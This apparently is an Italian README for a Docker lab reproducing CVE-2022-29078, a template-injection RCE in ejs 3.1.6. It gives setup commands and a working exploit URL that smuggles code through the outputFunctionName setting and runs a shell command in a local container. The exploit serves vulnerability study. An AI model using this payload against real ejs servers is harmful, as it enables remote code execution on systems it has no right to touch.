CVE-2022-29078

ejs 3.1.6 docker vulnerabile

Configurazione

git clone https://github.com/miko550/CVE-2022-29078.git  
cd CVE-2022-29078
docker build . -t miko/vuln-ejs
docker run -p 49160:8080 -d --name vuln-ejs miko/vuln-ejs

Utilizzo

http://127.0.0.1:49160/

Exploit

Nel browser

http://127.0.0.1:49160/page?id=2&settings[view options][outputFunctionName]=x;process.mainModule.require('child_process').execSync('touch /tmp/pwned');s

Verifica dell'exploit

docker exec -it vuln-ejs /bin/bash
ls -la /tmp

Riferimenti

https://eslam.io/posts/ejs-server-side-template-injection-rce/ https://github.com/Olusamimaths/templating-with-ejs